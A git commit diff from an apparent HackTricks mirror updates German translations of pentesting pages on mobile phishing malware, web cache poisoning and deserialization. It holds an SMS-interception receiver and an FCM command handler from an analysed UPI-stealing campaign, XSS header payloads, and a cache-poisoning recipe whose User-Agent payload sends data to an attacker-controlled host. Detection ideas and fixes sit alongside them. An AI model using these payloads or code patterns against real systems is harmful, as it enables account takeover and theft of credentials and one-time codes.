mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/deserialization/README.md', 'src/pen
This commit is contained in:
Translator
parent
92c828ea2e
commit
7294d929f8
@ -9,10 +9,10 @@
|
||||
## Angriffsfluss
|
||||
|
||||
1. **SEO/Phishing-Infrastruktur**
|
||||
* Registrieren Sie Dutzende von ähnlich aussehenden Domains (Dating, Cloud-Sharing, Autodienste…).
|
||||
* Registrieren Sie Dutzende von ähnlich aussehenden Domains (Dating, Cloud-Sharing, Autodienst…).
|
||||
– Verwenden Sie lokale Sprachkeywords und Emojis im `<title>`-Element, um bei Google zu ranken.
|
||||
– Hosten Sie *sowohl* Android (`.apk`) als auch iOS Installationsanleitungen auf derselben Landingpage.
|
||||
2. **Erste Download-Phase**
|
||||
2. **Erste Phase des Downloads**
|
||||
* Android: direkter Link zu einer *nicht signierten* oder „Drittanbieter-Store“ APK.
|
||||
* iOS: `itms-services://` oder einfacher HTTPS-Link zu einem bösartigen **mobileconfig**-Profil (siehe unten).
|
||||
3. **Post-Installations-Social Engineering**
|
||||
@ -29,12 +29,12 @@
|
||||
<!-- Ältere Builds fragten auch nach SMS-Berechtigungen -->
|
||||
```
|
||||
* Neuere Varianten **entfernen `<uses-permission>` für SMS aus `AndroidManifest.xml`**, lassen jedoch den Java/Kotlin-Codepfad, der SMS über Reflection liest ⇒ senkt den statischen Score, während er auf Geräten, die die Berechtigung über `AppOps`-Missbrauch oder alte Ziele gewähren, weiterhin funktional bleibt.
|
||||
5. **Facade UI & Hintergrundsammlung**
|
||||
5. **Fassade UI & Hintergrundsammlung**
|
||||
* Die App zeigt harmlose Ansichten (SMS-Viewer, Galerieauswahl), die lokal implementiert sind.
|
||||
* In der Zwischenzeit exfiltriert sie:
|
||||
- IMEI / IMSI, Telefonnummer
|
||||
- Vollständiger `ContactsContract`-Dump (JSON-Array)
|
||||
- JPEG/PNG aus `/sdcard/DCIM`, komprimiert mit [Luban](https://github.com/Curzibn/Luban), um die Größe zu reduzieren
|
||||
- JPEG/PNG von `/sdcard/DCIM`, komprimiert mit [Luban](https://github.com/Curzibn/Luban), um die Größe zu reduzieren
|
||||
- Optionaler SMS-Inhalt (`content://sms`)
|
||||
Payloads werden **batch-zippt** und über `HTTP POST /upload.php` gesendet.
|
||||
6. **iOS-Liefertechnik**
|
||||
@ -49,19 +49,19 @@ Payloads werden **batch-zippt** und über `HTTP POST /upload.php` gesendet.
|
||||
|
||||
## Defensive Tests / Red-Team Tipps
|
||||
|
||||
* **Umgehung der dynamischen Analyse** – Automatisieren Sie während der Malware-Bewertung die Einladungs-Code-Phase mit Frida/Objection, um den bösartigen Zweig zu erreichen.
|
||||
* **Umgehung der dynamischen Analyse** – Automatisieren Sie die Einladungscode-Phase mit Frida/Objection, um den bösartigen Zweig zu erreichen.
|
||||
* **Manifest vs. Laufzeit-Diff** – Vergleichen Sie `aapt dump permissions` mit der Laufzeit `PackageManager#getRequestedPermissions()`; fehlende gefährliche Berechtigungen sind ein Warnsignal.
|
||||
* **Netzwerk-Kanary** – Konfigurieren Sie `iptables -p tcp --dport 80 -j NFQUEUE`, um unsolide POST-Ausbrüche nach der Codeeingabe zu erkennen.
|
||||
* **Netzwerk-Kanary** – Konfigurieren Sie `iptables -p tcp --dport 80 -j NFQUEUE`, um unsichere POST-Bursts nach der Codeeingabe zu erkennen.
|
||||
* **mobileconfig-Inspektion** – Verwenden Sie `security cms -D -i profile.mobileconfig` auf macOS, um `PayloadContent` aufzulisten und übermäßige Berechtigungen zu erkennen.
|
||||
|
||||
## Blue-Team Erkennungsideen
|
||||
|
||||
* **Zertifikatstransparenz / DNS-Analysen**, um plötzliche Ausbrüche von keyword-reichen Domains zu erfassen.
|
||||
* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` von Dalvik-Clients außerhalb von Google Play.
|
||||
* **Zertifikatstransparenz / DNS-Analytik**, um plötzliche Ausbrüche von keyword-reichen Domains zu erfassen.
|
||||
* **User-Agent & Pfad Regex**: `(?i)POST\s+/(check|upload)\.php` von Dalvik-Clients außerhalb des Google Play.
|
||||
* **Einladungs-Code-Telemetrie** – POST von 6–8-stelligen numerischen Codes kurz nach der APK-Installation kann auf Staging hinweisen.
|
||||
* **MobileConfig-Signierung** – Blockieren Sie nicht signierte Konfigurationsprofile über die MDM-Richtlinie.
|
||||
|
||||
## Nützlicher Frida-Schnipsel: Auto-Bypass Einladungs-Code
|
||||
## Nützlicher Frida-Snippet: Auto-Bypass Einladungscode
|
||||
```python
|
||||
# frida -U -f com.badapp.android -l bypass.js --no-pause
|
||||
# Hook HttpURLConnection write to always return success
|
||||
@ -86,9 +86,127 @@ return conn;
|
||||
/upload.php # batched ZIP exfiltration
|
||||
LubanCompress 1.1.8 # "Luban" string inside classes.dex
|
||||
```
|
||||
---
|
||||
|
||||
## Android WebView Zahlung Phishing (UPI) – Dropper + FCM C2 Muster
|
||||
|
||||
Dieses Muster wurde in Kampagnen beobachtet, die Regierungsleistungs-Themen missbrauchen, um indische UPI-Anmeldeinformationen und OTPs zu stehlen. Betreiber verknüpfen seriöse Plattformen für die Lieferung und Resilienz.
|
||||
|
||||
### Lieferkette über vertrauenswürdige Plattformen
|
||||
- YouTube-Video-Ablenkung → Beschreibung enthält einen Kurzlink
|
||||
- Kurzlink → GitHub Pages Phishing-Seite, die das legitime Portal imitiert
|
||||
- Dasselbe GitHub-Repo hostet eine APK mit einem gefälschten „Google Play“-Badge, das direkt auf die Datei verlinkt
|
||||
- Dynamische Phishing-Seiten sind auf Replit aktiv; der Remote-Befehlskanal nutzt Firebase Cloud Messaging (FCM)
|
||||
|
||||
### Dropper mit eingebettetem Payload und Offline-Installation
|
||||
- Die erste APK ist ein Installer (Dropper), der die echte Malware unter `assets/app.apk` liefert und den Benutzer auffordert, Wi‑Fi/mobile Daten zu deaktivieren, um die Cloud-Erkennung zu umgehen.
|
||||
- Der eingebettete Payload wird unter einem harmlosen Label (z. B. „Sichere Aktualisierung“) installiert. Nach der Installation sind sowohl der Installer als auch der Payload als separate Apps vorhanden.
|
||||
|
||||
Statische Triage-Tipp (grep nach eingebetteten Payloads):
|
||||
```bash
|
||||
unzip -l sample.apk | grep -i "assets/app.apk"
|
||||
# Or:
|
||||
zipgrep -i "classes|.apk" sample.apk | head
|
||||
```
|
||||
### Dynamische Endpunktentdeckung über Shortlink
|
||||
- Malware ruft eine Klartext-, durch Kommas getrennte Liste von aktiven Endpunkten von einem Shortlink ab; einfache String-Transformationen erzeugen den endgültigen Pfad der Phishing-Seite.
|
||||
|
||||
Beispiel (bereinigt):
|
||||
```
|
||||
GET https://rebrand.ly/dclinkto2
|
||||
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
|
||||
Transform: "gate.html" → "gate.htm" (loaded in WebView)
|
||||
UPI credential POST: https://sqcepo.replit.app/addup.php
|
||||
SMS upload: https://sqcepo.replit.app/addsm.php
|
||||
```
|
||||
Pseudo-Code:
|
||||
```java
|
||||
String csv = httpGet(shortlink);
|
||||
String[] parts = csv.split(",");
|
||||
String upiPage = parts[0].replace("gate.html", "gate.htm");
|
||||
String smsPost = parts[1];
|
||||
String credsPost = upiPage.replace("gate.htm", "addup.php");
|
||||
```
|
||||
### WebView-basierte UPI-Anmeldeinformationen-Erfassung
|
||||
- Der Schritt „Zahlung von ₹1 / UPI‑Lite“ lädt ein HTML-Formular des Angreifers von dem dynamischen Endpunkt innerhalb eines WebView und erfasst sensible Felder (Telefon, Bank, UPI-PIN), die an `addup.php` `POST`ed werden.
|
||||
|
||||
Minimaler Loader:
|
||||
```java
|
||||
WebView wv = findViewById(R.id.web);
|
||||
wv.getSettings().setJavaScriptEnabled(true);
|
||||
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
|
||||
```
|
||||
### Selbstverbreitung und SMS/OTP-Abfang
|
||||
- Aggressive Berechtigungen werden beim ersten Start angefordert:
|
||||
```xml
|
||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||
<uses-permission android:name="android.permission.SEND_SMS"/>
|
||||
<uses-permission android:name="android.permission.READ_SMS"/>
|
||||
<uses-permission android:name="android.permission.CALL_PHONE"/>
|
||||
```
|
||||
- Kontakte werden verwendet, um massenhaft Smishing-SMS von dem Gerät des Opfers zu versenden.
|
||||
- Eingehende SMS werden von einem Broadcast-Receiver abgefangen und mit Metadaten (Absender, Text, SIM-Slot, gerätespezifische zufällige ID) an `/addsm.php` hochgeladen.
|
||||
|
||||
Receiver-Skizze:
|
||||
```java
|
||||
public void onReceive(Context c, Intent i){
|
||||
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
|
||||
for (SmsMessage m: msgs){
|
||||
postForm(urlAddSms, new FormBody.Builder()
|
||||
.add("senderNum", m.getOriginatingAddress())
|
||||
.add("Message", m.getMessageBody())
|
||||
.add("Slot", String.valueOf(getSimSlot(i)))
|
||||
.add("Device rand", getOrMakeDeviceRand(c))
|
||||
.build());
|
||||
}
|
||||
}
|
||||
```
|
||||
### Firebase Cloud Messaging (FCM) als resilientes C2
|
||||
- Die Nutzlast registriert sich bei FCM; Push-Nachrichten enthalten ein `_type`-Feld, das als Schalter verwendet wird, um Aktionen auszulösen (z. B. Phishing-Textvorlagen aktualisieren, Verhaltensweisen umschalten).
|
||||
|
||||
Beispiel FCM-Nutzlast:
|
||||
```json
|
||||
{
|
||||
"to": "<device_fcm_token>",
|
||||
"data": {
|
||||
"_type": "update_texts",
|
||||
"template": "New subsidy message..."
|
||||
}
|
||||
}
|
||||
```
|
||||
Handler-Skizze:
|
||||
```java
|
||||
@Override
|
||||
public void onMessageReceived(RemoteMessage msg){
|
||||
String t = msg.getData().get("_type");
|
||||
switch (t){
|
||||
case "update_texts": applyTemplate(msg.getData().get("template")); break;
|
||||
case "smish": sendSmishToContacts(); break;
|
||||
// ... more remote actions
|
||||
}
|
||||
}
|
||||
```
|
||||
### Jagdmuster und IOCs
|
||||
- APK enthält sekundäre Payload unter `assets/app.apk`
|
||||
- WebView lädt Zahlung von `gate.htm` und exfiltriert zu `/addup.php`
|
||||
- SMS-Exfiltration zu `/addsm.php`
|
||||
- Kurzlink-gesteuertes Konfigurationsabrufen (z.B. `rebrand.ly/*`), das CSV-Endpunkte zurückgibt
|
||||
- Apps, die als generisches „Update/Sicheres Update“ gekennzeichnet sind
|
||||
- FCM `data` Nachrichten mit einem `_type` Diskriminator in nicht vertrauenswürdigen Apps
|
||||
|
||||
### Erkennungs- und Verteidigungsideen
|
||||
- Markieren Sie Apps, die Benutzer anweisen, das Netzwerk während der Installation zu deaktivieren und dann eine zweite APK von `assets/` seitlich zu laden.
|
||||
- Alarm bei der Berechtigungstuple: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-basierte Zahlungsflüsse.
|
||||
- Egress-Überwachung für `POST /addup.php|/addsm.php` auf nicht-unternehmensinternen Hosts; blockieren Sie bekannte Infrastrukturen.
|
||||
- Mobile EDR-Regeln: nicht vertrauenswürdige App, die sich für FCM registriert und auf ein `_type` Feld verzweigt.
|
||||
|
||||
---
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [Die dunkle Seite der Romantik: SarangTrap-Erpressungskampagne](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
|
||||
- [Luban – Android-Bildkompressionsbibliothek](https://github.com/Curzibn/Luban)
|
||||
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
|
||||
- [Luban – Android image compression library](https://github.com/Curzibn/Luban)
|
||||
- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
|
||||
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
> **Was ist der Unterschied zwischen Web-Cache-Poisoning und Web-Cache-Deception?**
|
||||
>
|
||||
> - Bei **Web-Cache-Poisoning** verursacht der Angreifer, dass die Anwendung schädliche Inhalte im Cache speichert, und diese Inhalte werden aus dem Cache an andere Anwendungsbenutzer ausgeliefert.
|
||||
> - Bei **Web-Cache-Poisoning** verursacht der Angreifer, dass die Anwendung schädliche Inhalte im Cache speichert, und diese Inhalte werden aus dem Cache an andere Benutzer der Anwendung ausgeliefert.
|
||||
> - Bei **Web-Cache-Deception** verursacht der Angreifer, dass die Anwendung sensible Inhalte eines anderen Benutzers im Cache speichert, und der Angreifer ruft dann diese Inhalte aus dem Cache ab.
|
||||
|
||||
## Cache Poisoning
|
||||
@ -16,12 +16,12 @@ Cache Poisoning zielt darauf ab, den Client-seitigen Cache zu manipulieren, um C
|
||||
Die Durchführung eines Cache-Poisoning-Angriffs umfasst mehrere Schritte:
|
||||
|
||||
1. **Identifizierung von Unkeyed Inputs**: Dies sind Parameter, die, obwohl sie nicht erforderlich sind, damit eine Anfrage im Cache gespeichert wird, die Antwort des Servers ändern können. Diese Eingaben zu identifizieren ist entscheidend, da sie ausgenutzt werden können, um den Cache zu manipulieren.
|
||||
2. **Ausnutzung der Unkeyed Inputs**: Nach der Identifizierung der unkeyed inputs besteht der nächste Schritt darin, herauszufinden, wie man diese Parameter missbrauchen kann, um die Antwort des Servers in einer Weise zu ändern, die dem Angreifer zugutekommt.
|
||||
2. **Ausnutzung der Unkeyed Inputs**: Nachdem die unkeyed Inputs identifiziert wurden, besteht der nächste Schritt darin, herauszufinden, wie diese Parameter missbraucht werden können, um die Antwort des Servers in einer Weise zu ändern, die dem Angreifer zugutekommt.
|
||||
3. **Sicherstellen, dass die vergiftete Antwort im Cache gespeichert wird**: Der letzte Schritt besteht darin, sicherzustellen, dass die manipulierte Antwort im Cache gespeichert wird. Auf diese Weise erhält jeder Benutzer, der die betroffene Seite besucht, während der Cache vergiftet ist, die kontaminierte Antwort.
|
||||
|
||||
### Entdeckung: Überprüfen der HTTP-Header
|
||||
|
||||
In der Regel gibt es, wenn eine Antwort **im Cache gespeichert wurde**, einen **Header, der dies anzeigt**. Sie können überprüfen, auf welche Header Sie in diesem Beitrag achten sollten: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
In der Regel gibt es, wenn eine Antwort **im Cache gespeichert wurde**, einen **Header, der dies anzeigt**. Sie können überprüfen, auf welche Header Sie in diesem Beitrag achten sollten: [**HTTP Cache-Header**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
|
||||
### Entdeckung: Caching-Fehlercodes
|
||||
|
||||
@ -43,49 +43,50 @@ Sie könnten [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7
|
||||
```
|
||||
### Elicit a harmful response from the back-end server
|
||||
|
||||
Mit dem identifizierten Parameter/Header überprüfen, wie er **bereinigt** wird und **wo** er **reflektiert** wird oder die Antwort aus dem Header beeinflusst. Kannst du es irgendwie ausnutzen (eine XSS durchführen oder einen von dir kontrollierten JS-Code laden? einen DoS durchführen?...)
|
||||
Mit dem identifizierten Parameter/Kopfzeile überprüfen, wie er **bereinigt** wird und **wo** er **reflektiert** wird oder die Antwort aus der Kopfzeile beeinflusst. Kannst du es irgendwie missbrauchen (eine XSS durchführen oder einen von dir kontrollierten JS-Code laden? einen DoS durchführen?...)
|
||||
|
||||
### Get the response cached
|
||||
|
||||
Sobald du die **Seite** identifiziert hast, die ausgenutzt werden kann, welchen **Parameter**/**Header** du verwenden und **wie** du ihn **ausnutzen** kannst, musst du die Seite im Cache speichern. Je nach Ressource, die du im Cache speichern möchtest, kann dies einige Zeit in Anspruch nehmen; du musst möglicherweise mehrere Sekunden lang versuchen.
|
||||
Sobald du die **Seite** identifiziert hast, die missbraucht werden kann, welchen **Parameter**/**Kopfzeile** du verwenden und **wie** du ihn **missbrauchen** kannst, musst du die Seite im Cache speichern. Je nach Ressource, die du im Cache speichern möchtest, kann dies einige Zeit in Anspruch nehmen, du musst möglicherweise mehrere Sekunden lang versuchen.
|
||||
|
||||
Der Header **`X-Cache`** in der Antwort könnte sehr nützlich sein, da er den Wert **`miss`** haben kann, wenn die Anfrage nicht im Cache gespeichert wurde, und den Wert **`hit`**, wenn sie im Cache gespeichert ist.\
|
||||
Der Header **`Cache-Control`** ist ebenfalls interessant, um zu wissen, ob eine Ressource im Cache gespeichert wird und wann die Ressource das nächste Mal wieder im Cache gespeichert wird: `Cache-Control: public, max-age=1800`
|
||||
Die Kopfzeile **`X-Cache`** in der Antwort könnte sehr nützlich sein, da sie den Wert **`miss`** haben kann, wenn die Anfrage nicht im Cache gespeichert wurde, und den Wert **`hit`**, wenn sie im Cache gespeichert ist.\
|
||||
Die Kopfzeile **`Cache-Control`** ist ebenfalls interessant, um zu wissen, ob eine Ressource im Cache gespeichert wird und wann die Ressource das nächste Mal wieder im Cache gespeichert wird: `Cache-Control: public, max-age=1800`
|
||||
|
||||
Ein weiterer interessanter Header ist **`Vary`**. Dieser Header wird häufig verwendet, um **zusätzliche Header** anzugeben, die als **Teil des Cache-Schlüssels** behandelt werden, auch wenn sie normalerweise nicht als Schlüssel verwendet werden. Daher kann der Benutzer, wenn er den `User-Agent` des Opfers kennt, das er anvisiert, den Cache für die Benutzer mit diesem spezifischen `User-Agent` vergiften.
|
||||
Eine weitere interessante Kopfzeile ist **`Vary`**. Diese Kopfzeile wird häufig verwendet, um **zusätzliche Kopfzeilen** anzuzeigen, die als **Teil des Cache-Schlüssels** behandelt werden, auch wenn sie normalerweise nicht als Schlüssel verwendet werden. Daher kann der Benutzer, wenn er den `User-Agent` des Opfers kennt, das er anvisiert, den Cache für die Benutzer mit diesem spezifischen `User-Agent` vergiften.
|
||||
|
||||
Ein weiterer Header, der mit dem Cache zusammenhängt, ist **`Age`**. Er definiert die Zeit in Sekunden, die das Objekt im Proxy-Cache war.
|
||||
Eine weitere Kopfzeile, die mit dem Cache zusammenhängt, ist **`Age`**. Sie definiert die Zeit in Sekunden, die das Objekt im Proxy-Cache war.
|
||||
|
||||
Beim Caching einer Anfrage sei **vorsichtig mit den Headern, die du verwendest**, da einige von ihnen **unerwartet** als **schlüsselig** verwendet werden könnten und das **Opfer diesen gleichen Header verwenden muss**. Immer **testen** einer Cache-Vergiftung mit **verschiedenen Browsern**, um zu überprüfen, ob es funktioniert.
|
||||
Beim Caching einer Anfrage sei **vorsichtig mit den Kopfzeilen, die du verwendest**, da einige von ihnen **unerwartet** als **schlüsselig** verwendet werden könnten und das **Opfer diese gleiche Kopfzeile verwenden muss**. Teste immer eine Cache-Vergiftung mit **verschiedenen Browsern**, um zu überprüfen, ob es funktioniert.
|
||||
|
||||
## Exploiting Examples
|
||||
|
||||
### Easiest example
|
||||
|
||||
Ein Header wie `X-Forwarded-For` wird unsaniert in der Antwort reflektiert.\
|
||||
Du kannst eine grundlegende XSS-Payload senden und den Cache vergiften, sodass jeder, der auf die Seite zugreift, XSS ausgesetzt wird:
|
||||
Eine Kopfzeile wie `X-Forwarded-For` wird unsaniert in der Antwort reflektiert.\
|
||||
Du kannst eine grundlegende XSS-Nutzlast senden und den Cache vergiften, sodass jeder, der auf die Seite zugreift, XSS ausgesetzt wird:
|
||||
```html
|
||||
GET /en?region=uk HTTP/1.1
|
||||
Host: innocent-website.com
|
||||
X-Forwarded-Host: a."><script>alert(1)</script>"
|
||||
```
|
||||
_Beachten Sie, dass dies eine Anfrage an `/en?region=uk` und nicht an `/en` vergiften wird._
|
||||
_Note that this will poison a request to `/en?region=uk` not to `/en`_
|
||||
|
||||
### Cache-Poisoning für DoS
|
||||
|
||||
### Cachevergiftung zu DoS
|
||||
|
||||
{{#ref}}
|
||||
cache-poisoning-to-dos.md
|
||||
{{#endref}}
|
||||
|
||||
### Cachevergiftung durch CDNs
|
||||
### Cache-Poisoning durch CDNs
|
||||
|
||||
In **[diesem Bericht](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** wird folgendes einfaches Szenario erklärt:
|
||||
|
||||
- Das CDN wird alles unter `/share/` cachen.
|
||||
- Das CDN wird `%2F..%2F` NICHT dekodieren oder normalisieren, daher kann es als **Pfad Traversierung verwendet werden, um auf andere sensible Orte zuzugreifen, die gecacht werden,** wie `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`.
|
||||
- Das CDN wird alles unter `/share/` cachen
|
||||
- Das CDN wird `%2F..%2F` NICHT dekodieren oder normalisieren, daher kann es als **Path Traversal verwendet werden, um auf andere sensible Orte zuzugreifen, die gecached werden**, wie `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
|
||||
- Der Webserver wird `%2F..%2F` dekodieren und normalisieren und mit `/api/auth/session` antworten, das **den Auth-Token enthält**.
|
||||
|
||||
### Verwendung von Web-Cache-Vergiftung zur Ausnutzung von Cookie-Verwundbarkeiten
|
||||
### Verwendung von Web-Cache-Poisoning zur Ausnutzung von Cookie-Verwundbarkeiten
|
||||
|
||||
Cookies könnten auch in der Antwort einer Seite reflektiert werden. Wenn Sie dies missbrauchen können, um beispielsweise ein XSS zu verursachen, könnten Sie in der Lage sein, XSS in mehreren Clients auszunutzen, die die bösartige Cache-Antwort laden.
|
||||
```html
|
||||
@ -168,9 +169,9 @@ Dieses Muster aus der realen Welt verknüpft ein header-basiertes Reflexionsprim
|
||||
|
||||
- Das Haupt-HTML reflektierte einen nicht vertrauenswürdigen Anforderungsheader (z. B. `User-Agent`) in einen ausführbaren Kontext.
|
||||
- Das CDN entfernte Cache-Header, aber ein internes/ursprüngliches Cache existierte. Das CDN speicherte auch automatisch Anfragen mit statischen Erweiterungen (z. B. `.js`), während das WAF eine schwächere Inhaltsinspektion für GET-Anfragen nach statischen Assets anwendete.
|
||||
- Eigenheiten im Anfragefluss ermöglichten es einer Anfrage an einen `.js`-Pfad, den Cache-Schlüssel/Variant zu beeinflussen, der für das nachfolgende Haupt-HTML verwendet wurde, wodurch XSS zwischen Benutzern über Header-Reflexion ermöglicht wurde.
|
||||
- Eigenheiten im Anfragefluss ermöglichten es einer Anfrage an einen `.js`-Pfad, den Cache-Schlüssel/Variant zu beeinflussen, der für das nachfolgende Haupt-HTML verwendet wurde, was XSS zwischen Benutzern über Header-Reflexion ermöglichte.
|
||||
|
||||
Praktisches Rezept (beobachtet über ein beliebtes CDN/WAF):
|
||||
Praktisches Rezept (beobachtet bei einem beliebten CDN/WAF):
|
||||
|
||||
1) Von einer sauberen IP (vorherige rufbasierte Herabstufungen vermeiden) einen bösartigen `User-Agent` über den Browser oder Burp Proxy Match & Replace festlegen.
|
||||
2) In Burp Repeater eine Gruppe von zwei Anfragen vorbereiten und "Gruppe parallel senden" verwenden (Einzelpaketmodus funktioniert am besten):
|
||||
@ -185,7 +186,7 @@ User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oas
|
||||
Operational tips:
|
||||
|
||||
- Viele CDNs verbergen Cache-Header; Poisoning kann nur bei mehrstündigen Aktualisierungszyklen auftreten. Verwenden Sie mehrere vantage IPs und drosseln Sie, um Rate-Limit- oder Reputationsauslöser zu vermeiden.
|
||||
- Die Verwendung einer IP aus der eigenen Cloud des CDN verbessert manchmal die Routing-Konsistenz.
|
||||
- Die Verwendung einer IP aus der eigenen Cloud des CDNs verbessert manchmal die Routing-Konsistenz.
|
||||
- Wenn eine strenge CSP vorhanden ist, funktioniert dies weiterhin, wenn die Reflexion im Haupt-HTML-Kontext ausgeführt wird und die CSP die Inline-Ausführung erlaubt oder durch den Kontext umgangen wird.
|
||||
|
||||
Impact:
|
||||
@ -194,7 +195,7 @@ Impact:
|
||||
|
||||
Defenses:
|
||||
|
||||
- Stoppen Sie das Reflektieren von Anfrage-Headern in HTML; kodieren Sie den Kontext strikt, wenn unvermeidlich. Richten Sie die Cache-Richtlinien von CDN und Ursprung aus und vermeiden Sie Variationen bei nicht vertrauenswürdigen Headern.
|
||||
- Stoppen Sie das Reflektieren von Anfrage-Headern in HTML; kodieren Sie den Kontext strikt, wenn es unvermeidlich ist. Richten Sie die Cache-Richtlinien von CDN und Ursprung aus und vermeiden Sie Variationen bei nicht vertrauenswürdigen Headern.
|
||||
- Stellen Sie sicher, dass WAF die Inhaltsinspektion konsistent auf `.js`-Anfragen und statische Pfade anwendet.
|
||||
- Setzen Sie `HttpOnly` (und `Secure`, `SameSite`) auf Sitzungscookies.
|
||||
|
||||
@ -202,7 +203,7 @@ Defenses:
|
||||
|
||||
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
||||
|
||||
ATS leitete den Fragmentteil innerhalb der URL weiter, ohne ihn zu entfernen, und generierte den Cache-Schlüssel nur unter Verwendung des Hosts, Pfads und der Abfrage (den Fragmentteil ignorierend). Daher wurde die Anfrage `/#/../?r=javascript:alert(1)` an das Backend als `/#/../?r=javascript:alert(1)` gesendet, und der Cache-Schlüssel enthielt nicht die Payload, nur Host, Pfad und Abfrage.
|
||||
ATS leitete den Fragmentteil innerhalb der URL weiter, ohne ihn zu entfernen, und generierte den Cache-Schlüssel nur unter Verwendung des Hosts, des Pfads und der Abfrage (den Fragmentteil ignorierend). Daher wurde die Anfrage `/#/../?r=javascript:alert(1)` an das Backend als `/#/../?r=javascript:alert(1)` gesendet, und der Cache-Schlüssel enthielt nicht die Payload, sondern nur Host, Pfad und Abfrage.
|
||||
|
||||
### GitHub CP-DoS
|
||||
|
||||
@ -222,7 +223,7 @@ Cloudflare hat zuvor 403-Antworten zwischengespeichert. Der Versuch, auf S3 oder
|
||||
|
||||
### Injecting Keyed Parameters
|
||||
|
||||
Caches enthalten häufig spezifische GET-Parameter im Cache-Schlüssel. Beispielsweise speicherte Fastlys Varnish den `size`-Parameter in Anfragen. Wenn jedoch eine URL-kodierte Version des Parameters (z. B. `siz%65`) ebenfalls mit einem fehlerhaften Wert gesendet wurde, wurde der Cache-Schlüssel unter Verwendung des korrekten `size`-Parameters konstruiert. Das Backend würde jedoch den Wert im URL-kodierten Parameter verarbeiten. Das URL-Codieren des zweiten `size`-Parameters führte zu dessen Auslassung durch den Cache, aber zu seiner Verwendung durch das Backend. Das Zuweisen eines Wertes von 0 zu diesem Parameter führte zu einem zwischenspeicherbaren 400 Bad Request-Fehler.
|
||||
Caches enthalten häufig spezifische GET-Parameter im Cache-Schlüssel. Beispielsweise speicherte Fastlys Varnish den `size`-Parameter in Anfragen. Wenn jedoch eine URL-kodierte Version des Parameters (z. B. `siz%65`) ebenfalls mit einem fehlerhaften Wert gesendet wurde, wurde der Cache-Schlüssel unter Verwendung des korrekten `size`-Parameters konstruiert. Das Backend würde jedoch den Wert im URL-kodierten Parameter verarbeiten. Das URL-Codieren des zweiten `size`-Parameters führte zu dessen Auslassung durch den Cache, aber zu seiner Nutzung durch das Backend. Das Zuweisen eines Wertes von 0 zu diesem Parameter führte zu einem zwischenspeicherbaren 400 Bad Request-Fehler.
|
||||
|
||||
### User Agent Rules
|
||||
|
||||
@ -255,9 +256,9 @@ Ein weiteres sehr klares Beispiel findet sich in diesem Bericht: [https://hacker
|
||||
In dem Beispiel wird erklärt, dass, wenn Sie eine nicht vorhandene Seite wie _http://www.example.com/home.php/non-existent.css_ laden, der Inhalt von _http://www.example.com/home.php_ (**mit den sensiblen Informationen des Benutzers**) zurückgegeben wird und der Cache-Server das Ergebnis speichern wird.\
|
||||
Dann kann der **Angreifer** _http://www.example.com/home.php/non-existent.css_ in seinem eigenen Browser aufrufen und die **vertraulichen Informationen** der Benutzer beobachten, die zuvor darauf zugegriffen haben.
|
||||
|
||||
Beachten Sie, dass der **Cache-Proxy** so **konfiguriert** sein sollte, dass er Dateien **basierend** auf der **Erweiterung** der Datei (_ .css_) und nicht basierend auf dem Content-Type speichert. Im Beispiel _http://www.example.com/home.php/non-existent.css_ wird ein `text/html`-Content-Type anstelle eines `text/css`-Mime-Typs (der für eine _.css_-Datei erwartet wird) haben.
|
||||
Beachten Sie, dass der **Cache-Proxy** so **konfiguriert** sein sollte, dass er Dateien **basierend** auf der **Erweiterung** der Datei (_ .css_) und nicht basierend auf dem Content-Type speichert. Im Beispiel _http://www.example.com/home.php/non-existent.css_ wird ein `text/html`-Content-Type anstelle eines `text/css`-MIME-Typs (der für eine _.css_-Datei erwartet wird) haben.
|
||||
|
||||
Erfahren Sie hier, wie Sie [Cache Deceptions-Angriffe unter Ausnutzung von HTTP Request Smuggling durchführen](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
|
||||
Erfahren Sie hier, wie Sie [Cache Deceptions-Angriffe unter Verwendung von HTTP Request Smuggling durchführen](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
|
||||
|
||||
## Automatic Tools
|
||||
|
||||
|
||||
@ -6,17 +6,17 @@
|
||||
|
||||
**Serialization** wird als die Methode verstanden, ein Objekt in ein Format zu konvertieren, das erhalten werden kann, mit der Absicht, das Objekt entweder zu speichern oder es als Teil eines Kommunikationsprozesses zu übertragen. Diese Technik wird häufig eingesetzt, um sicherzustellen, dass das Objekt zu einem späteren Zeitpunkt rekreiert werden kann, wobei seine Struktur und sein Zustand beibehalten werden.
|
||||
|
||||
**Deserialization** hingegen ist der Prozess, der der Serialisierung entgegenwirkt. Es beinhaltet das Entnehmen von Daten, die in einem bestimmten Format strukturiert wurden, und das Rekonstruieren dieser Daten zurück in ein Objekt.
|
||||
